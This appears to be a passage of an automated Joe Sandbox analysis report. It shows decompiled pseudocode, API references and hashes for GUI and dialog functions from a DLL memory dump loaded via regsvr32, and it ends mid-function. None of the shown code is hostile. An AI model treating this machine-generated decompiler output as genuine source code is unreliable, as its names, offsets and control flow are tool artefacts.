Opcode Fuzzy Hash: 896abfdc9f26d3682490ef20b8d100f077d411e20f2cfe63ae408f56a9afeb96
Instruction Fuzzy Hash: 3911CE72510A80BBDF225FB5DD88DAF7EBDEF897087000858FA11D2620DB31DA21D720

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5456E Relevance: 12.0, APIs: 8, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB5456E(void* __ecx) {
				struct HDC__* _t15;
				void* _t17;

				_t17 = __ecx;
				 *((intOrPtr*)(_t17 + 8)) = GetSystemMetrics(0xb);
				 *((intOrPtr*)(_t17 + 0xc)) = GetSystemMetrics(0xc);
				 *0x6eb8c8f0 = GetSystemMetrics(2) + 1;
				 *0x6eb8c8f4 = GetSystemMetrics(3) + 1;
				_t15 = GetDC(0);
				 *((intOrPtr*)(_t17 + 0x18)) = GetDeviceCaps(_t15, 0x58);
				 *((intOrPtr*)(_t17 + 0x1c)) = GetDeviceCaps(_t15, 0x5a);
				return ReleaseDC(0, _t15);
			}

0x6eb5457b
0x6eb54581
0x6eb54588
0x6eb54590
0x6eb5459a
0x6eb545ab
0x6eb545b5
0x6eb545bd
0x6eb545c9

APIs

GetSystemMetrics.USER32 ref: 6EB5457D
GetSystemMetrics.USER32 ref: 6EB54584
GetSystemMetrics.USER32 ref: 6EB5458B
GetSystemMetrics.USER32 ref: 6EB54595
GetDC.USER32 ref: 6EB5459F
GetDeviceCaps.GDI32(00000000,00000058), ref: 6EB545B0
GetDeviceCaps.GDI32(00000000,0000005A), ref: 6EB545B8
ReleaseDC.USER32 ref: 6EB545C0

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: MetricsSystem$CapsDevice$Release
String ID:
API String ID: 1151147025-0
Opcode ID: a085a157c768f3b7d6b5e48c715ee8abe32d9b6eaa448e5422da2467d89b7011
Instruction ID: d04134f37428b685417334628aadcccd50c99406b36f80f19eb25d0d30f76a43
Opcode Fuzzy Hash: a085a157c768f3b7d6b5e48c715ee8abe32d9b6eaa448e5422da2467d89b7011
Instruction Fuzzy Hash: ACF06DB1E40B24AAEF205B728C49F277FA8EB92721F014517E6049B680CBB598408FD0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB51E86 Relevance: 10.7, APIs: 7, Instructions: 242
memoryCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6EB51E86(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t136;
				int _t141;
				signed short _t144;
				short* _t145;
				intOrPtr _t149;
				signed short _t173;
				intOrPtr _t174;
				signed int _t175;
				intOrPtr _t180;
				struct tagRECT _t186;
				int _t187;
				signed short _t189;
				signed short _t190;
				void* _t191;
				void* _t217;
				intOrPtr _t221;
				short _t222;
				intOrPtr* _t229;
				signed short* _t231;
				signed int _t234;
				signed short* _t235;
				signed short* _t237;
				signed short* _t238;
				void* _t239;

				_push(0x9c);
				E6EB66564(0x6eb7789e, __ebx, __edi, __esi);
				_t229 =  *((intOrPtr*)(_t239 + 0x14));
				_t231 =  *(_t239 + 0x1c);
				 *((intOrPtr*)(_t239 - 0x3c)) =  *((intOrPtr*)(_t239 + 8));
				 *(_t239 - 0x50) =  *(_t239 + 0xc);
				 *((intOrPtr*)(_t239 - 0x44)) =  *((intOrPtr*)(_t239 + 0x24));
				_t136 = _t229 + 0x12;
				 *((intOrPtr*)(_t239 - 0x2c)) = _t136;
				if( *((intOrPtr*)(_t239 + 0x10)) != 0) {
					 *((intOrPtr*)(_t239 - 0x6c)) =  *((intOrPtr*)(_t229 + 8));
					 *((intOrPtr*)(_t239 - 0x68)) =  *((intOrPtr*)(_t229 + 4));
					 *((short*)(_t239 - 0x64)) =  *((intOrPtr*)(_t229 + 0xc));
					 *((short*)(_t239 - 0x62)) =  *((intOrPtr*)(_t229 + 0xe));
					 *((short*)(_t239 - 0x5e)) =  *_t136;
					_t221 = _t229 + 0x18;
					 *((short*)(_t239 - 0x60)) =  *(_t229 + 0x10);
					 *((short*)(_t239 - 0x5c)) =  *((intOrPtr*)(_t229 + 0x14));
					_t229 = _t239 - 0x6c;
					 *((intOrPtr*)(_t239 - 0x2c)) = _t221;
				}
				_t222 =  *((short*)(_t229 + 0xa));
				_t186 =  *((short*)(_t229 + 8));
				 *((intOrPtr*)(_t239 - 0x70)) =  *((short*)(_t229 + 0xe)) + _t222;
				 *(_t239 - 0x7c) = _t186;
				 *((intOrPtr*)(_t239 - 0x78)) = _t222;
				 *((intOrPtr*)(_t239 - 0x74)) =  *((short*)(_t229 + 0xc)) + _t186;
				_t141 = MapDialogRect( *( *((intOrPtr*)(_t239 - 0x3c)) + 0x20), _t239 - 0x7c);
				 *(_t239 - 0x34) =  *(_t239 - 0x34) & 0x00000000;
				if( *((intOrPtr*)(_t239 + 0x20)) >= 4) {
					_t190 =  *_t231;
					 *((intOrPtr*)(_t239 + 0x20)) =  *((intOrPtr*)(_t239 + 0x20)) - 4;
					_t231 =  &(_t231[2]);
					if(_t190 > 0) {
						__imp__#4(_t231, _t190);
						_t191 = _t190 + _t190;
						_t231 = _t231 + _t191;
						 *((intOrPtr*)(_t239 + 0x20)) =  *((intOrPtr*)(_t239 + 0x20)) - _t191;
						 *(_t239 - 0x34) = _t141;
					}
				}
				 *(_t239 - 0x38) =  *(_t239 - 0x38) & 0x00000000;
				E6EB413B0(_t239 - 0x30, _t222);
				 *((intOrPtr*)(_t239 - 4)) = 0;
				 *(_t239 - 0x4c) = 0;
				 *(_t239 - 0x48) = 0;
				 *(_t239 - 0x40) = 0;
				if( *((intOrPtr*)(_t239 + 0x18)) == 0x37a ||  *((intOrPtr*)(_t239 + 0x18)) == 0x37b) {
					_t144 =  *_t231;
					_t55 = _t144 - 0xc; // 0x36f
					_t222 = _t55;
					_t231 =  &(_t231[6]);
					 *(_t239 - 0x58) = _t144;
					 *((intOrPtr*)(_t239 - 0x28)) = _t222;
					if(_t222 <= 0) {
						L16:
						 *((intOrPtr*)(_t239 + 0x20)) =  *((intOrPtr*)(_t239 + 0x20)) - _t144;
						 *((intOrPtr*)(_t239 + 0x18)) =  *((intOrPtr*)(_t239 + 0x18)) + 0xfffc;
						goto L17;
					} else {
						goto L8;
					}
					do {
						L8:
						_t173 =  *_t231;
						 *((intOrPtr*)(_t239 - 0x28)) =  *((intOrPtr*)(_t239 - 0x28)) - 6;
						_t235 =  &(_t231[2]);
						_t189 =  *_t235 & 0x0000ffff;
						_t231 =  &(_t235[1]);
						 *(_t239 - 0x54) = _t173;
						if(_t173 != 0x80010001) {
							_t174 = E6EB47C96(__eflags, 0x1c);
							 *((intOrPtr*)(_t239 - 0x80)) = _t174;
							 *((char*)(_t239 - 4)) = 1;
							__eflags = _t174;
							if(_t174 == 0) {
								_t175 = 0;
								__eflags = 0;
							} else {
								_t175 = E6EB59ECE(_t174,  *(_t239 - 0x38),  *(_t239 - 0x54), _t189);
							}
							 *((char*)(_t239 - 4)) = 0;
							 *(_t239 - 0x38) = _t175;
						} else {
							_t237 =  &(_t231[2]);
							 *(_t239 - 0x48) =  *_t231;
							_t238 =  &(_t237[6]);
							 *(_t239 - 0x40) =  *_t237;
							E6EB47B20(_t222, _t229, _t238);
							_t180 =  *((intOrPtr*)( *((intOrPtr*)(_t239 - 0x30)) - 0xc));
							_t217 = 0xffffffef;
							 *((intOrPtr*)(_t239 - 0x28)) =  *((intOrPtr*)(_t239 - 0x28)) + _t217 - _t180;
							_t231 = _t238 + _t180 + 1;
							 *(_t239 - 0x4c) = _t189 & 0x0000ffff;
						}
					} while ( *((intOrPtr*)(_t239 - 0x28)) > 0);
					_t144 =  *(_t239 - 0x58);
					goto L16;
				} else {
					L17:
					_t145 =  *((intOrPtr*)(_t239 - 0x2c));
					_t252 =  *_t145 - 0x7b;
					_push(_t239 - 0x20);
					_push(_t145);
					if( *_t145 != 0x7b) {
						__imp__CLSIDFromProgID();
					} else {
						__imp__CLSIDFromString();
					}
					_t187 = 0;
					_push(0);
					_push( *((intOrPtr*)(_t239 + 0x20)));
					_push(_t231);
					 *((intOrPtr*)(_t239 - 0x2c)) = _t145;
					E6EB5FB54(0, _t239 - 0xa8, _t229, _t231, _t252);
					asm("sbb esi, esi");
					_t234 =  ~( *((intOrPtr*)(_t239 + 0x18)) - 0x00000378 & 0x0000ffff) & _t239 - 0x000000a8;
					_t253 =  *((intOrPtr*)(_t239 - 0x2c));
					 *((char*)(_t239 - 4)) = 2;
					 *((intOrPtr*)(_t239 - 0x24)) = 0;
					if( *((intOrPtr*)(_t239 - 0x2c)) >= 0) {
						_push(1);
						if(E6EB57C95(0,  *((intOrPtr*)(_t239 - 0x3c)), _t229, _t234, _t253) != 0 && E6EB5823B( *((intOrPtr*)( *((intOrPtr*)(_t239 - 0x3c)) + 0x4c)), 0, _t239 - 0x20, 0,  *_t229, _t239 - 0x7c,  *(_t229 + 0x10) & 0x0000ffff, _t234, 0 |  *((intOrPtr*)(_t239 + 0x18)) == 0x00000377,  *(_t239 - 0x34), _t239 - 0x24) != 0) {
							E6EB5940B( *((intOrPtr*)(_t239 - 0x24)), 1);
							SetWindowPos( *( *((intOrPtr*)(_t239 - 0x24)) + 0x24),  *(_t239 - 0x50), 0, 0, 0, 0, 0x13);
							 *( *((intOrPtr*)(_t239 - 0x24)) + 0x94) =  *(_t239 - 0x38);
							E6EB48694(0,  *((intOrPtr*)(_t239 - 0x24)) + 0xa4, _t239 - 0x30);
							 *((short*)( *((intOrPtr*)(_t239 - 0x24)) + 0x98)) =  *(_t239 - 0x4c);
							 *( *((intOrPtr*)(_t239 - 0x24)) + 0x9c) =  *(_t239 - 0x48);
							 *( *((intOrPtr*)(_t239 - 0x24)) + 0xa0) =  *(_t239 - 0x40);
						}
					}
					if( *(_t239 - 0x34) != _t187) {
						__imp__#6( *(_t239 - 0x34));
					}
					_t149 =  *((intOrPtr*)(_t239 - 0x24));
					if(_t149 == _t187) {
						 *((intOrPtr*)( *((intOrPtr*)(_t239 - 0x44)))) = _t187;
					} else {
						 *((intOrPtr*)( *((intOrPtr*)(_t239 - 0x44)))) =  *((intOrPtr*)(_t149 + 0x24));
						_t187 = 1;
					}
					 *((char*)(_t239 - 4)) = 0;
					E6EB5FEC2(_t187, _t239 - 0xa8, _t222, _t229, _t234, 1);
					E6EB41020( *((intOrPtr*)(_t239 - 0x30)) + 0xfffffff0, _t222);
					return E6EB665E7(_t187, _t229, _t234);
				}
			}

APIs

__EH_prolog3_GS.LIBCMT ref: 6EB51E90
MapDialogRect.USER32(?,?), ref: 6EB51F21
SysAllocStringLen.OLEAUT32(?,?), ref: 6EB51F40
CLSIDFromString.OLE32(?,00000004), ref: 6EB5202E

Part of subcall function 6EB47C96: _malloc.LIBCMT ref: 6EB47CB4

CLSIDFromProgID.OLE32(?,00000004), ref: 6EB52036
SetWindowPos.USER32(?,?,00000000,00000000,00000000,00000000,00000013,00000001,00000000,00000004,00000000,?,?,00000000,?,00000000), ref: 6EB520DE
SysFreeString.OLEAUT32(00000000), ref: 6EB52130

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: String$From$AllocDialogFreeH_prolog3_ProgRectWindow_malloc
String ID:
API String ID: 2980224915-0
Opcode ID: 6ae321ef587832523dfdc854ac7bc2d4504e973e34295bde764628fbd1a1ae1d
Instruction ID: 17d70f7826d17673e6d5bae8ae77c09ae2840d29ff9c55dafccc45fc609cda1d
Opcode Fuzzy Hash: 6ae321ef587832523dfdc854ac7bc2d4504e973e34295bde764628fbd1a1ae1d
Instruction Fuzzy Hash: 4CA112B1D10259EFDB14CFE8C994AEDBBB4FF08304F24452AE859A7380E734A954CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB60112 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 128
stringCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6EB60112(void* __ebx, void** __ecx, void* __edx, void* __esi, char* _a4, short _a8) {
				signed int _v8;
				short _v72;
				char* _v76;
				signed int _v80;
				signed int* _v84;
				signed int _v88;
				intOrPtr _v92;
				void* __edi;
				signed int _t54;
				void* _t65;
				char* _t69;
				short* _t70;
				signed int _t72;
				signed int* _t83;
				short* _t84;
				void* _t93;
				signed int* _t101;
				signed int _t102;
				void** _t103;
				intOrPtr _t105;
				signed int _t107;
				signed int _t109;
				void* _t110;

				_t104 = __esi;
				_t99 = __edx;
				_t82 = __ebx;
				_t54 =  *0x6eb89470; // 0x8926f9d4
				_v8 = _t54 ^ _t109;
				_t103 = __ecx;
				_v76 = _a4;
				if(__ecx[1] != 0) {
					_push(__ebx);
					_push(__esi);
					_t83 = GlobalLock( *__ecx);
					_v84 = _t83;
					_v88 = 0 | _t83[0] == 0x0000ffff;
					_v80 = E6EB5FF46(_t83);
					_t105 = (0 | _v88 != 0x00000000) + (0 | _v88 != 0x00000000) + 1 + (0 | _v88 != 0x00000000) + (0 | _v88 != 0x00000000) + 1;
					_v92 = _t105;
					if(_v88 == 0) {
						 *_t83 =  *_t83 | 0x00000040;
					} else {
						_t83[3] = _t83[3] | 0x00000040;
					}
					if(lstrlenA(_v76) >= 0x20) {
						L15:
						_t65 = 0;
					} else {
						_t69 = _t105 + MultiByteToWideChar(0, 0, _v76, 0xffffffff,  &_v72, 0x20) * 2;
						_v76 = _t69;
						if(_t69 < _t105) {
							goto L15;
						} else {
							_t70 = E6EB5FF8D(_t83);
							_t93 = 0;
							_t84 = _t70;
							if(_v80 != 0) {
								_t93 = _t105 + 2 + E6EB6688F(_t84 + _t105) * 2;
							}
							_t33 =  &(_v76[3]); // 0x3
							_t101 = _v84;
							_t36 = _t84 + 3; // 0x3
							_t72 = _t93 + _t36 & 0xfffffffc;
							_t107 = _t84 + _t33 & 0xfffffffc;
							_v80 = _t72;
							if(_v88 == 0) {
								_t102 =  *(_t101 + 8) & 0x0000ffff;
							} else {
								_t102 =  *(_t101 + 0x10) & 0x0000ffff;
							}
							if(_v76 == _t93 || _t102 <= 0) {
								L17:
								 *_t84 = _a8;
								_t99 =  &_v72;
								E6EB54756(_t103, _t107, _t84 + _v92, _v76 - _v92,  &_v72, _v76 - _v92);
								_t103[1] = _t103[1] + _t107 - _v80;
								GlobalUnlock( *_t103);
								_t103[2] = _t103[2] & 0x00000000;
								_t65 = 1;
							} else {
								_t99 = _t103[1];
								_t97 = _t99 - _t72 + _v84;
								if(_t99 - _t72 + _v84 <= _t99) {
									E6EB54756(_t103, _t107, _t107, _t97, _t72, _t97);
									_t110 = _t110 + 0x10;
									goto L17;
								} else {
									goto L15;
								}
							}
						}
					}
					_pop(_t104);
					_pop(_t82);
				} else {
					_t65 = 0;
				}
				return E6EB63DE0(_t65, _t82, _v8 ^ _t109, _t99, _t103, _t104);
			}

APIs

GlobalLock.KERNEL32 ref: 6EB6013E
lstrlenA.KERNEL32(?), ref: 6EB60189
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000020), ref: 6EB601A3
_wcslen.LIBCMT ref: 6EB601C7

Strings

System, xrefs: 6EB6013A

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ByteCharGlobalLockMultiWide_wcslenlstrlen
String ID: System
API String ID: 4253822919-3470857405
Opcode ID: a7e4373b2d5041fe067d0f46c39936abf963ecde4f530a92ffd421ab16e0bf5c
Instruction ID: a814a8865c62834e23b878c05108f0a047a32f1dff83c0cc8f313c1cb448189a
Opcode Fuzzy Hash: a7e4373b2d5041fe067d0f46c39936abf963ecde4f530a92ffd421ab16e0bf5c
Instruction Fuzzy Hash: EC41E27191025AEFCF14DFE5C884AAEBFB8FF05314F14862AE416EB284E7709956CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4C2EA Relevance: 10.6, APIs: 7, Instructions: 117
windowCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E6EB4C2EA(intOrPtr* __ecx, signed int _a4) {
				int _v8;
				int _v12;
				int _v16;
				struct tagMSG* _v20;
				struct HWND__* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t48;
				struct tagMSG* _t49;
				signed int _t51;
				void* _t54;
				void* _t56;
				int _t59;
				long _t62;
				signed int _t66;
				void* _t69;
				intOrPtr* _t71;
				intOrPtr* _t74;

				_t70 = __ecx;
				_t74 = __ecx;
				_v16 = 1;
				_v12 = 0;
				if((_a4 & 0x00000004) == 0) {
					L2:
					_v8 = 0;
					L3:
					_t48 = GetParent( *(_t74 + 0x20));
					 *(_t74 + 0x3c) =  *(_t74 + 0x3c) | 0x00000018;
					_v24 = _t48;
					_t49 = E6EB522DA(_t76);
					_t69 = UpdateWindow;
					_v20 = _t49;
					while(1) {
						_t77 = _v16;
						if(_v16 == 0) {
							goto L15;
						}
						while(1) {
							L15:
							_t51 = E6EB52726(_t70, 0, _t74, _t77);
							if(_t51 == 0) {
								break;
							}
							if(_v8 != 0) {
								_t59 = _v20->message;
								if(_t59 == 0x118 || _t59 == 0x104) {
									E6EB4F6CB(_t74, 1);
									UpdateWindow( *(_t74 + 0x20));
									_v8 = 0;
								}
							}
							_t71 = _t74;
							_t54 =  *((intOrPtr*)( *_t74 + 0x88))();
							_t82 = _t54;
							if(_t54 == 0) {
								_t45 = _t74 + 0x3c;
								 *_t45 =  *(_t74 + 0x3c) & 0xffffffe7;
								__eflags =  *_t45;
								return  *((intOrPtr*)(_t74 + 0x44));
							} else {
								_push(_v20);
								_t56 = E6EB52629(_t69, _t71, 0, _t74, _t82);
								_pop(_t70);
								if(_t56 != 0) {
									_v16 = 1;
									_v12 = 0;
								}
								if(PeekMessageA(_v20, 0, 0, 0, 0) == 0) {
									while(1) {
										_t77 = _v16;
										if(_v16 == 0) {
											goto L15;
										}
										goto L4;
									}
								}
								continue;
							}
						}
						_push(0);
						E6EB50397();
						return _t51 | 0xffffffff;
						L4:
						__eflags = PeekMessageA(_v20, 0, 0, 0, 0);
						if(__eflags != 0) {
							goto L15;
						} else {
							__eflags = _v8;
							if(_v8 != 0) {
								_t70 = _t74;
								E6EB4F6CB(_t74, 1);
								UpdateWindow( *(_t74 + 0x20));
								_v8 = 0;
							}
							__eflags = _a4 & 0x00000001;
							if((_a4 & 0x00000001) == 0) {
								__eflags = _v24;
								if(_v24 != 0) {
									__eflags = _v12;
									if(_v12 == 0) {
										SendMessageA(_v24, 0x121, 0,  *(_t74 + 0x20));
									}
								}
							}
							__eflags = _a4 & 0x00000002;
							if(__eflags != 0) {
								L13:
								_v16 = 0;
								continue;
							} else {
								_t62 = SendMessageA( *(_t74 + 0x20), 0x36a, 0, _v12);
								_v12 = _v12 + 1;
								__eflags = _t62;
								if(__eflags != 0) {
									continue;
								}
								goto L13;
							}
						}
					}
				}
				_t66 = E6EB4F5C9(__ecx);
				_v8 = 1;
				_t76 = _t66 & 0x10000000;
				if((_t66 & 0x10000000) == 0) {
					goto L3;
				}
				goto L2;
			}

APIs

GetParent.USER32(?), ref: 6EB4C31D
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 6EB4C341
UpdateWindow.USER32(?), ref: 6EB4C35C
SendMessageA.USER32 ref: 6EB4C37D
SendMessageA.USER32 ref: 6EB4C395
UpdateWindow.USER32(?), ref: 6EB4C3D8
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 6EB4C409

Part of subcall function 6EB4F5C9: GetWindowLongA.USER32 ref: 6EB4F5D4

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Message$Window$PeekSendUpdate$LongParent
String ID:
API String ID: 2853195852-0
Opcode ID: 6d8d3d8c61644cd5523d04c3d80366e3abd4f8e6b6d7529a04c96169ac6a6077
Instruction ID: 0f107d27c54626ad4c3a5a2877fa9be020d0ee598654e6c75111475f0f8ef218
Opcode Fuzzy Hash: 6d8d3d8c61644cd5523d04c3d80366e3abd4f8e6b6d7529a04c96169ac6a6077
Instruction Fuzzy Hash: 8D41C430900A89EBEF21CFE6CA44E9EBFB4FF81B44F10446DE455AA1A8D7718944EF10

Uniqueness

Uniqueness Score: -1.00%

Function 6EB46B40 Relevance: 10.6, APIs: 7, Instructions: 106
windowCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6EB46B40(long __ecx, void* __esi) {
				char _v12;
				signed int _v16;
				intOrPtr _v44;
				short _v58;
				short _v60;
				short _v62;
				short _v64;
				short _v66;
				short _v68;
				short _v70;
				void _v72;
				intOrPtr _v76;
				signed int _v80;
				intOrPtr _v88;
				struct tagLOGBRUSH _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				int _v112;
				char _v116;
				void* __ebx;
				void* __edi;
				signed int _t38;
				signed int _t40;
				void* _t57;
				void* _t64;
				long _t84;
				void* _t86;
				void* _t87;
				void* _t88;
				signed int _t89;

				_t87 = __esi;
				_push(0xffffffff);
				_push(0x6eb787a8);
				_push( *[fs:0x0]);
				_t89 = _t88 - 0x2c;
				_t38 =  *0x6eb89470; // 0x8926f9d4
				_v16 = _t38 ^ _t89;
				_t40 =  *0x6eb89470; // 0x8926f9d4
				_push(_t40 ^ _t89);
				 *[fs:0x0] =  &_v12;
				_t84 = __ecx;
				 *((intOrPtr*)(__esi + 0x54)) = __ecx;
				 *((intOrPtr*)(__esi + 0x5c)) = ColorAdjustLuma(__ecx, 0x1f4, 1);
				 *((intOrPtr*)(__esi + 0x60)) = ColorAdjustLuma(_t84, 0xffffff2e, 1);
				 *((intOrPtr*)(__esi + 0x58)) = ColorAdjustLuma(_t84, 0xfffffeb3, 1);
				 *((intOrPtr*)(__esi + 0x64)) = ColorAdjustLuma(_t84, 0xfffffe0c, 1);
				if( *((intOrPtr*)(__esi + 0x6c)) != 0) {
					E6EB49CA7(__esi + 0x68);
				}
				E6EB49C4F(0, _t87 + 0x68, _t84, CreateSolidBrush(_t84));
				_v72 = 0x55;
				_v70 = 0xaa;
				_v68 = 0x55;
				_v66 = 0xaa;
				_v64 = 0x55;
				_v62 = 0xaa;
				_v60 = 0x55;
				_v58 = 0xaa;
				_v88 = 0;
				_v100.lbHatch = 0x6eb79d00;
				_t82 =  &_v72;
				_v44 = 0;
				E6EB49C4F(0,  &_v112, 0x6eb79d00, CreateBitmap(8, 8, 1, 1,  &_v72));
				_v108 = 3;
				_v100.lbStyle = _v112;
				_v104 = 0;
				if( *((intOrPtr*)(_t87 + 0x74)) != 0) {
					E6EB49CA7(_t87 + 0x70);
				}
				E6EB49C4F(0, _t87 + 0x70, 0x6eb79d00, CreateBrushIndirect( &_v100));
				_v68 = 0xffffffff;
				_v116 = 0x6eb79d00;
				_t57 = E6EB41070( &_v116, _t82);
				 *[fs:0x0] = _v76;
				_pop(_t86);
				_pop(_t64);
				return E6EB63DE0(_t57, _t64, _v80 ^ _t89, _t82, _t86, _t87);
			}

APIs

ColorAdjustLuma.SHLWAPI(005B5BE3,000001F4,00000001), ref: 6EB46B83
ColorAdjustLuma.SHLWAPI(005B5BE3,FFFFFF2E,00000001), ref: 6EB46B90
ColorAdjustLuma.SHLWAPI(005B5BE3,FFFFFEB3,00000001), ref: 6EB46B9D
ColorAdjustLuma.SHLWAPI(005B5BE3,FFFFFE0C,00000001), ref: 6EB46BAA
CreateSolidBrush.GDI32(005B5BE3), ref: 6EB46BBF
CreateBitmap.GDI32(00000008,00000008,00000001,00000001,?), ref: 6EB46C2A
CreateBrushIndirect.GDI32(00000003), ref: 6EB46C60

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: AdjustColorLuma$Create$Brush$BitmapIndirectSolid
String ID:
API String ID: 4192194151-0
Opcode ID: 7975c8698e0fabdc2ce8b4c02fd3d0f95ab706201c0638bfd095fda86f373436
Instruction ID: 0bfabf5321cb83a4ee3390137002eec126dd9901751c34f32627950824a8806d
Opcode Fuzzy Hash: 7975c8698e0fabdc2ce8b4c02fd3d0f95ab706201c0638bfd095fda86f373436
Instruction Fuzzy Hash: 4C416971628781DBC714DF69C880A5BBBE5FF99704F000E2EF19AD76A0EB709904CB06

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4C870 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB4C870(intOrPtr* __ecx) {
				struct HWND__* _v40;
				struct HWND__* _v44;
				intOrPtr _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t34;
				long _t43;
				struct HWND__* _t48;
				intOrPtr* _t63;
				signed int _t64;
				void* _t69;
				intOrPtr _t71;
				intOrPtr* _t72;

				_t72 = __ecx;
				_t69 = E6EB522D1();
				if(_t69 != 0) {
					if( *((intOrPtr*)(_t69 + 0x20)) == __ecx) {
						 *((intOrPtr*)(_t69 + 0x20)) = 0;
					}
					if( *((intOrPtr*)(_t69 + 0x24)) == _t72) {
						 *((intOrPtr*)(_t69 + 0x24)) = 0;
					}
				}
				_t63 =  *((intOrPtr*)(_t72 + 0x48));
				if(_t63 != 0) {
					 *((intOrPtr*)( *_t63 + 0x50))();
					 *((intOrPtr*)(_t72 + 0x48)) = 0;
				}
				_t64 =  *(_t72 + 0x4c);
				if(_t64 != 0) {
					 *((intOrPtr*)( *_t64 + 4))(1);
				}
				 *(_t72 + 0x4c) =  *(_t72 + 0x4c) & 0x00000000;
				_t83 =  *(_t72 + 0x3c) & 1;
				if(( *(_t72 + 0x3c) & 1) != 0) {
					_t71 =  *((intOrPtr*)(E6EB53D53(1, _t64, _t69, _t72, _t83) + 0x3c));
					if(_t71 != 0) {
						_t85 =  *(_t71 + 0x20);
						if( *(_t71 + 0x20) != 0) {
							E6EB65E80(_t71,  &_v52, 0, 0x30);
							_t48 =  *(_t72 + 0x20);
							_v44 = _t48;
							_v40 = _t48;
							_v52 = 0x2c;
							_v48 = 1;
							SendMessageA( *(_t71 + 0x20), 0x405, 0,  &_v52);
						}
					}
